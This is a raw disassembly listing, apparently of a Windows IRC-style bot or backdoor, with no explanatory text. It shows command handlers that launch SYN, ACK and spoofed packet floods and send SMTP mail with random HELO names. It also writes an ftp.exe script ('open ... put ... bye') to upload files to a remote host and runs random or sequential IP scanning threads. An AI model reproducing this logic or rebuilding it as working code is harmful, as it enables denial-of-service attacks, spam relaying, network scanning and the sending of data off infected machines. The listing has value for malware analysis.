		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB954	; WSAStartup
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA68	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA64	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9E4	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC	; recv
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA34	; send
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC	; recv
		push	esi
		call	dword_4CBA7C	; closesocket
		call	dword_4CB93C	; WSACleanup
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF04


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEBC
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE78
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset sub_4149C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AE40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE08


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAD4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset sub_413E10
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AD88
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD34
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACFC


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC94
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: .packed:004330E8o
					; .packed:004330FCo ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset sub_413F9C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AC14


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABB0


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB40
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB10


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431800, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_431800


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431800[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AADC
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB988	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA40
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40C600
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA08
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40CA1D
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A97C
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A970
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
